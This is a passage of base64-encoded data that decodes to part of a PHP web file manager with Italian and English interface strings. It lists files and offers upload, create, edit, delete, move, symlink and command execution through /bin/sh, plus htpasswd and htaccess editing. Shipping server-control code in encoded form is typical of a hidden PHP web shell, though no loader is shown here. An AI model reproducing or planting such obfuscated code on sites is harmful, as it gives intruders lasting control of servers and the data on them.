dID09IHBvc2l4X2dldHVpZCgpKTsNCgkJCWlmICgkbCkgZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9hY3Rpb249cGVybWlzc2lvbiZhbXA7ZmlsZT0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyZhbXA7ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj4nOw0KCQkJZWNobyBodG1sKHBlcm1pc3Npb25fb2N0YWwyc3RyaW5nKCRmaWxlWydwZXJtaXNzaW9uJ10pKTsNCgkJCWlmICgkbCkgZWNobyAnPC9hPic7DQoNCgkJCWVjaG8gIjwvdGQ+XA0KIjsNCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ293bmVyX25hbWUnLCAkZmlsZSkpIHsNCgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCIgdGl0bGU9XCJ1aWQ6IHskZmlsZVsnb3duZXInXX1cIj57JGZpbGVbJ293bmVyX25hbWUnXX08L3RkPlwNCiI7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwib3duZXJcIj57JGZpbGVbJ293bmVyJ119PC90ZD5cDQoiOw0KCQkJfQ0KDQoJCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygnZ3JvdXBfbmFtZScsICRmaWxlKSkgew0KCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwiZ3JvdXBcIiB0aXRsZT1cImdpZDogeyRmaWxlWydncm91cCddfVwiPnskZmlsZVsnZ3JvdXBfbmFtZSddfTwvdGQ+XA0KIjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlwNCiI7DQoJCQl9DQoNCgkJfQ0KDQoJCWVjaG8gJwk8dGQgY2xhc3M9ImZ1bmN0aW9ucyI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUnIC4gJGkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGVbJ3BhdGgnXSkgLiAnIiAvPg0KJzsNCg0KCQkkYWN0aW9ucyA9IGFycmF5KCk7DQoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdjcmVhdGVfc3ltbGluayc7DQoJCX0NCgkJaWYgKEBpc193cml0YWJsZShkaXJuYW1lKCRmaWxlWydwYXRoJ10pKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOw0KCQkJJGFjdGlvbnNbXSA9ICdyZW5hbWUnOw0KCQkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsNCgkJfQ0KCQlpZiAoJGZpbGVbJ2lzX2ZpbGUnXSAmJiAkZmlsZVsnaXNfcmVhZGFibGUnXSkgew0KCQkJJGFjdGlvbnNbXSA9ICdjb3B5JzsNCgkJCSRhY3Rpb25zW10gPSAnZG93bmxvYWQnOw0KCQkJaWYgKCRmaWxlWydpc193cml0YWJsZSddKSAkYWN0aW9uc1tdID0gJ2VkaXQnOw0KCQl9DQoJCWlmICghJHdpbiAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19leGVjdXRhYmxlJ10gJiYgZmlsZV9leGlzdHMoJy9iaW4vc2gnKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdleGVjdXRlJzsNCgkJfQ0KDQoJCWlmIChzaXplb2YoJGFjdGlvbnMpID4gMCkgew0KDQoJCQllY2hvICcJCTxzZWxlY3QgY2xhc3M9InNtYWxsIiBuYW1lPSJhY3Rpb24nIC4gJGkgLiAnIiBzaXplPSIxIj4NCgkJPG9wdGlvbiB2YWx1ZT0iIj4nIC4gc3RyX3JlcGVhdCgnJm5ic3A7JywgMzApIC4gJzwvb3B0aW9uPg0KJzsNCg0KCQkJZm9yZWFjaCAoJGFjdGlvbnMgYXMgJGFjdGlvbikgew0KCQkJCWVjaG8gIlx0XHQ8b3B0aW9uIHZhbHVlPVwiJGFjdGlvblwiPiIgLiB3b3JkKCRhY3Rpb24pIC4gIjwvb3B0aW9uPlwNCiI7DQoJCQl9DQoNCgkJCWVjaG8gJwkJPC9zZWxlY3Q+DQoJCTxpbnB1dCBjbGFzcz0ic21hbGwiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0JyAuICRpIC4gJyIgdmFsdWU9IiAmZ3Q7ICIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCic7DQoNCgkJfQ0KDQoJCWVjaG8gJwk8L3RkPg0KPC90cj4NCic7DQoNCgl9DQoNCgllY2hvICc8dHIgY2xhc3M9Imxpc3RpbmdfZm9vdGVyIj4NCgk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wIj48aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1hcnJvdyIgYWx0PSImZ3Q7IiAvPjwvdGQ+DQoJPHRkIGNvbHNwYW49IicgLiAoJGNvbHMgLSAxKSAuICciPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJudW0iIHZhbHVlPSInIC4gc2l6ZW9mKCRsaXN0KSAuICciIC8+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvY3VzIiB2YWx1ZT0iIiAvPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvbGRkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQonOw0KDQoJJGFjdGlvbnMgPSBhcnJheSgpOw0KCWlmIChAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZVsncGF0aCddKSkpIHsNCgkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOw0KCQkkYWN0aW9uc1tdID0gJ21vdmUnOw0KCX0NCgkkYWN0aW9uc1tdID0gJ2NvcHknOw0KDQoJZWNobyAnCQk8c2VsZWN0IGNsYXNzPSJzbWFsbCIgbmFtZT0iYWN0aW9uX2FsbCIgc2l6ZT0iMSI+DQoJCTxvcHRpb24gdmFsdWU9IiI+JyAuIHN0cl9yZXBlYXQoJyZuYnNwOycsIDMwKSAuICc8L29wdGlvbj4NCic7DQoNCglmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7DQoJCWVjaG8gIlx0XHQ8b3B0aW9uIHZhbHVlPVwiJGFjdGlvblwiPiIgLiB3b3JkKCRhY3Rpb24pIC4gIjwvb3B0aW9uPlwNCiI7DQoJfQ0KDQoJZWNobyAnCQk8L3NlbGVjdD4NCgkJPGlucHV0IGNsYXNzPSJzbWFsbCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfYWxsIiB2YWx1ZT0iICZndDsgIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiBkaXJlY3RvcnlfY2hvaWNlICgpIHsNCglnbG9iYWwgJGRpcmVjdG9yeSwgJGhvbWVkaXIsICRjb2xzLCAkc2VsZjsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+DQoJCTxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGhvbWVkaXIpIC4gJyI+JyAuIHdvcmQoJ2RpcmVjdG9yeScpIC4gJzwvYT46DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdkaXJlY3RvcnlcJykiIC8+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiB1cGxvYWRfYm94ICgpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgllY2hvICc8dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJ1cGxvYWQiPg0KCQknIC4gd29yZCgnZmlsZScpIC4gJzoNCgkJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0X3VwbG9hZCIgdmFsdWU9IicgLiB3b3JkKCd1cGxvYWQnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZV9ib3ggKCkgew0KCWdsb2JhbCAkY29sczsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImNyZWF0ZSI+DQoJCTxzZWxlY3QgbmFtZT0iY3JlYXRlX3R5cGUiIHNpemU9IjEiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIj4NCgkJPG9wdGlvbiB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5Ij4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9vcHRpb24+DQoJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfY3JlYXRlIiB2YWx1ZT0iJyAuIHdvcmQoJ2NyZWF0ZScpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdjcmVhdGVcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGVkaXQgKCRmaWxlKSB7DQoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkZWRpdGNvbHMsICRlZGl0cm93cywgJGFwYWNoZSwgJGh0cGFzc3dkLCAkaHRhY2Nlc3M7DQoNCglodG1sX2hlYWRlcigpOw0KDQoJZWNobyAnPGgyIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAzcHQiPicgLiBodG1sKCRmaWxlKSAuICc8L2gyPg0KDQo8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCg0KCTx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBjb2xzPSInIC4gJGVkaXRjb2xzIC4gJyIgcm93cz0iJyAuICRlZGl0cm93cyAuICciIFdSQVA9Im9mZiI+JzsNCg0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdjb250ZW50JywgJF9QT1NUKSkgew0KCQllY2hvICRfUE9TVFsnY29udGVudCddOw0KCX0gZWxzZSB7DQoJCSRmID0gZm9wZW4oJGZpbGUsICdyJyk7DQoJCXdoaWxlICghZmVvZigkZikpIHsNCgkJCWVjaG8gaHRtbChmcmVhZCgkZiwgODE5MikpOw0KCQl9DQoJCWZjbG9zZSgkZik7DQoJfQ0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3VzZXInXSkpIHsNCgkJZWNobyAiXA0KIiAuICRfUE9TVFsndXNlciddIC4gJzonIC4gY3J5cHQoJF9QT1NUWydwYXNzd29yZCddKTsNCgl9DQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Jhc2ljX2F1dGgnXSkpIHsNCgkJaWYgKCR3aW4pIHsNCgkJCSRhdXRoZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGRpcmVjdG9yeSkgLiAkaHRwYXNzd2Q7DQoJCX0gZWxzZSB7DQoJCQkkYXV0aGZpbGUgPSAkZGlyZWN0b3J5IC4gJGh0cGFzc3dkOw0KCQl9DQoJCWVjaG8gIlwNCkF1dGhUeXBlIEJhc2ljXA0KQXV0aE5hbWUgJnF1b3Q7UmVzdHJpY3RlZCBEaXJlY3RvcnkmcXVvdDtcDQoiOw0KCQllY2hvICdBdXRoVXNlckZpbGUgJnF1b3Q7JyAuIGh0bWwoJGF1dGhmaWxlKSAuICImcXVvdDtcDQoiOw0KCQllY2hvICdSZXF1aXJlIHZhbGlkLXVzZXInOw0KCX0NCg0KCWVjaG8gJzwvdGV4dGFyZWE+DQoNCgk8aHIgLz4NCic7DQoNCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0cGFzc3dkKSB7DQoJCWVjaG8gJw0KCScgLiB3b3JkKCd1c2VyJykgLiAnOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz4NCgknIC4gd29yZCgncGFzc3dvcmQnKSAuICc6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdhZGQnKSAuICciIC8+DQoNCgk8aHIgLz4NCic7DQoNCgl9DQoNCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0YWNjZXNzKSB7DQoJCWVjaG8gJw0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJhc2ljX2F1dGgiIHZhbHVlPSInIC4gd29yZCgnYWRkX2Jhc2ljX2F1dGgnKSAuICciIC8+DQoNCgk8aHIgLz4NCic7DQoNCgl9DQoNCgllY2hvICcNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0IiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSInIC4gd29yZCgncmVzZXQnKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNhdmUiIHZhbHVlPSInIC4gd29yZCgnc2F2ZScpIC4gJyIgaWQ9ImdyZWVuX2J1dHRvbiIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA1MHB4IiAvPg0KDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCglodG1sX2Zvb3RlcigpOw0KDQp9DQoNCmZ1bmN0aW9uIHNwYWNlciAoKSB7DQoJZ2xvYmFsICRjb2xzOw0KDQoJZWNobyAnPHRyPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBzdHlsZT0iaGVpZ2h0OiAxZW0iPjwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiB0ZXh0ZmllbGRzaXplICgkY29udGVudCkgew0KDQoJJHNpemUgPSBzdHJsZW4oJGNvbnRlbnQpICsgNTsNCglpZiAoJHNpemUgPCAzMCkgJHNpemUgPSAzMDsNCg0KCXJldHVybiAkc2l6ZTsNCg0KfQ0KDQpmdW5jdGlvbiByZXF1ZXN0X2R1bXAgKCkgew0KDQoJZm9yZWFjaCAoJF9SRVFVRVNUIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCWVjaG8gIlx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiIiAuIGh0bWwoJGtleSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJHZhbHVlKSAuICJcIiAvPlwNCiI7DQoJfQ0KDQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gaHRtbCAoJHN0cmluZykgew0KCWdsb2JhbCAkc2l0ZV9jaGFyc2V0Ow0KCXJldHVybiBodG1sZW50aXRpZXMoJHN0cmluZywgRU5UX0NPTVBBVCwgJHNpdGVfY2hhcnNldCk7DQp9DQoNCmZ1bmN0aW9uIHdvcmQgKCR3b3JkKSB7DQoJZ2xvYmFsICR3b3JkcywgJHdvcmRfY2hhcnNldDsNCglyZXR1cm4gaHRtbGVudGl0aWVzKCR3b3Jkc1skd29yZF0sIEVOVF9DT01QQVQsICR3b3JkX2NoYXJzZXQpOw0KfQ0KDQpmdW5jdGlvbiBwaHJhc2UgKCRwaHJhc2UsICRhcmd1bWVudHMpIHsNCglnbG9iYWwgJHdvcmRzOw0KCXN0YXRpYyAkc2VhcmNoOw0KDQoJaWYgKCFpc19hcnJheSgkc2VhcmNoKSkgZm9yICgkaSA9IDE7ICRpIDw9IDg7ICRpKyspICRzZWFyY2hbXSA9ICIlJGkiOw0KDQoJZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRhcmd1bWVudHMpOyAkaSsrKSB7DQoJCSRhcmd1bWVudHNbJGldID0gbmwyYnIoaHRtbCgkYXJndW1lbnRzWyRpXSkpOw0KCX0NCg0KCSRyZXBsYWNlID0gYXJyYXkoJ3snID0+ICc8cHJlPicsICd9JyA9Pic8L3ByZT4nLCAnWycgPT4gJzxiPicsICddJyA9PiAnPC9iPicpOw0KDQoJcmV0dXJuIHN0cl9yZXBsYWNlKCRzZWFyY2gsICRhcmd1bWVudHMsIHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJHJlcGxhY2UpLCAkcmVwbGFjZSwgbmwyYnIoaHRtbCgkd29yZHNbJHBocmFzZV0pKSkpOw0KDQp9DQoNCmZ1bmN0aW9uIGdldHdvcmRzICgkbGFuZykgew0KCWdsb2JhbCAkd29yZF9jaGFyc2V0LCAkZGF0ZV9mb3JtYXQ7DQoNCglzd2l0Y2ggKCRsYW5nKSB7DQoJY2FzZSAnaXQnOg0KICAgIGRlZmF1bHQ6DQoJCSRkYXRlX2Zvcm1hdCA9ICdkLW0tWSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnTm9tZSBGaWxlJywNCg0KJ3NpemUnID0+ICdEaW1lbnNpb25pJywNCidwZXJtaXNzaW9uJyA9PiAnUGVybWVzc2knLA0KJ293bmVyJyA9PiAnUHJvcHJpZXRhcmlvJywNCidncm91cCcgPT4gJ0dydXBwbycsDQonb3RoZXInID0+ICdBbHRybycsDQonZnVuY3Rpb25zJyA9PiAnRnVuemlvbmknLA0KDQoncmVhZCcgPT4gJ2xlZ2dpJywNCid3cml0ZScgPT4gJ3Njcml2aScsDQonZXhlY3V0ZScgPT4gJ2VzZWd1aScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWEgbGluayBzaW1ib2xpY28nLA0KJ2RlbGV0ZScgPT4gJ2NhbmNlbGxhJywNCidyZW5hbWUnID0+ICdyaW5vbWluYScsDQonbW92ZScgPT4gJ3Nwb3N0YScsDQonY29weScgPT4gJ2NvcGlhJywNCidlZGl0JyA9PiAnbW9kaWZpY2EnLA0KJ2Rvd25sb2FkJyA9PiAnZG93bmxvYWQnLA0KJ3VwbG9hZCcgPT4gJ3VwbG9hZCcsDQonY3JlYXRlJyA9PiAnY3JlYScsDQonY2hhbmdlJyA9PiAnY2FtYmlhJywNCidzYXZlJyA9PiAnc2FsdmEnLA0KJ3NldCcgPT4gJ2ltcG9zdGEnLA0KJ3Jlc2V0JyA9PiAncmVpbXBvc3RhJywNCidyZWxhdGl2ZScgPT4gJ1BlcmNvcnNvIHJlbGF0aXZvIHBlciBsYSBkZXN0aW5hemlvbmUnLA0KDQoneWVzJyA9PiAnU2knLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdpbmRpZXRybycsDQonZGVzdGluYXRpb24nID0+ICdEZXN0aW5hemlvbmUnLA0KJ3N5bWxpbmsnID0+ICdMaW5rIHNpbWJvbGljbycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZ2dpdW5naScsDQonYWRkX2Jhc2ljX2F1dGgnID0+ICdhZ2dpdW5naSBhdXRlbnRpY2F6aW9uZSBiYXNlJywNCg0KJ3VwbG9hZGVkJyA9PiAnIlslMV0iICBzdGF0byBjYXJpY2F0by4nLA0KJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBub24gIHN0YXRvIGNhcmljYXRvLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgZXNpc3RlIGdpPyAuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iICBzdGF0byBjcmVhdG8uJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBub24gIHN0YXRvIGNyZWF0by4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdDYW5jZWxsbyBxdWVzdGkgZmlsZSA/JywNCidkZWxldGVkJyA9PiAiUXVlc3RpIGZpbGUgc29ubyBzdGF0aSBjYW5jZWxsYXRpOlwNClslMV0iLA0KJ25vdF9kZWxldGVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIGNhbmNlbGxhdGk6XA0KWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICdGaWxlIHJpbm9taW5hdG86JywNCidyZW5hbWVkJyA9PiAnIlslMV0iICBzdGF0byByaW5vbWluYXRvIGluICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gbm9uICBzdGF0byByaW5vbWluYXRvIGluICJbJTJdIi4nLA0KJ21vdmVfZmlsZXMnID0+ICdTcG9zdG8gcXVlc3RpIGZpbGU6JywNCidtb3ZlZCcgPT4gIlF1ZXN0aSBmaWxlIHNvbm8gc3RhdGkgc3Bvc3RhdGkgaW4gXCJbJTJdXCI6XA0KWyUxXSIsDQonbm90X21vdmVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIHNwb3N0YXRpIGluIFwiWyUyXVwiOlwNClslMV0iLA0KJ2NvcHlfZmlsZXMnID0+ICdDb3BpbyBxdWVzdGkgZmlsZScsDQonY29waWVkJyA9PiAiUXVlc3RpIGZpbGUgc29ubyBzdGF0aSBjb3BpYXRpIGluIFwiWyUyXVwiOlwNClslMV0iLA0KJ25vdF9jb3BpZWQnID0+ICJRdWVzdGkgZmlsZSBub24gcG9zc29ubyBlc3NlcmUgY29waWF0aSBpbiBcIlslMl1cIjpcDQpbJTFdIiwNCidub3RfZWRpdGVkJyA9PiAnIlslMV0iIG5vbiBwdT8gZXNzZXJlIG1vZGlmaWNhdG8uJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiICBzdGF0byBlc2VndWl0byBjb24gc3VjY2Vzc286XA0KeyUyfSIsDQonbm90X2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgbm9uICBzdGF0byBlc2VndWl0byBjb24gc3VjY2Vzc29cDQp7JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiAgc3RhdG8gc2FsdmF0by4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBub24gIHN0YXRvIHNhbHZhdG8uJywNCidzeW1saW5rZWQnID0+ICdJbCBsaW5rIHNpYW1ib2xpY28gZGEgIlslMl0iIGEgIlslMV0iICBzdGF0byBjcmVhdG8uJywNCidub3Rfc3ltbGlua2VkJyA9PiAnSWwgbGluayBzaWFtYm9saWNvIGRhICJbJTJdIiBhICJbJTFdIiBub24gIHN0YXRvIGNyZWF0by4nLA0KJ3Blcm1pc3Npb25fZm9yJyA9PiAnUGVybWVzc2kgZGkgIlslMV0iOicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdJIHBlcm1lc3NpIGRpICJbJTFdIiBzb25vIHN0YXRpIGltcG9zdGF0aSBbJTJdLicsDQoncGVybWlzc2lvbl9ub3Rfc2V0JyA9PiAnSSBwZXJtZXNzaSBkaSAiWyUxXSIgbm9uIHNvbm8gc3RhdGkgaW1wb3N0YXRpIFslMl0uJywNCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgbm9uIHB1PyBlc3NlcmUgbGV0dG8uJw0KCQkpOw0KDQoJY2FzZSAnZW4nOg0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnRmlsZW5hbWUnLA0KDQonc2l6ZScgPT4gJ1NpemUnLA0KJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNzaW9uJywNCidvd25lcicgPT4gJ093bmVyJywNCidncm91cCcgPT4gJ0dyb3VwJywNCidvdGhlcicgPT4gJ090aGVycycsDQonZnVuY3Rpb25zJyA9PiAnRnVuY3Rpb25zJywNCg0KJ3JlYWQnID0+ICdyZWFkJywNCid3cml0ZScgPT4gJ3dyaXRlJywNCidleGVjdXRlJyA9PiAnZXhlY3V0ZScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWF0ZSBzeW1saW5rJywNCidkZWxldGUnID0+ICdkZWxldGUnLA0KJ3JlbmFtZScgPT4gJ3JlbmFtZScsDQonbW92ZScgPT4gJ21vdmUnLA0KJ2NvcHknID0+ICdjb3B5JywNCidlZGl0JyA9PiAnZWRpdCcsDQonZG93bmxvYWQnID0+ICdkb3dubG9hZCcsDQondXBsb2FkJyA9PiAndXBsb2FkJywNCidjcmVhdGUnID0+ICdjcmVhdGUnLA0KJ2NoYW5nZScgPT4gJ2NoYW5nZScsDQonc2F2ZScgPT4gJ3NhdmUnLA0KJ3NldCcgPT4gJ3NldCcsDQoncmVzZXQnID0+ICdyZXNldCcsDQoncmVsYXRpdmUnID0+ICdSZWxhdGl2ZSBwYXRoIHRvIHRhcmdldCcsDQoNCid5ZXMnID0+ICdZZXMnLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdiYWNrJywNCidkZXN0aW5hdGlvbicgPT4gJ0Rlc3RpbmF0aW9uJywNCidzeW1saW5rJyA9PiAnU3ltbGluaycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZGQnLA0KJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLA0KDQondXBsb2FkZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gdXBsb2FkZWQuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIgY291bGQgbm90IGJlIHVwbG9hZGVkLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgYWxyZWFkeSBleGlzdHMuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgY3JlYXRlZC4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdEZWxldGUgdGhlc2UgZmlsZXM/JywNCidkZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBiZWVuIGRlbGV0ZWQ6XA0KWyUxXSIsDQonbm90X2RlbGV0ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgZGVsZXRlZDpcDQpbJTFdIiwNCidyZW5hbWVfZmlsZScgPT4gJ1JlbmFtZSBmaWxlOicsDQoncmVuYW1lZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiByZW5hbWVkIHRvICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gY291bGQgbm90IGJlIHJlbmFtZWQgdG8gIlslMl0iLicsDQonbW92ZV9maWxlcycgPT4gJ01vdmUgdGhl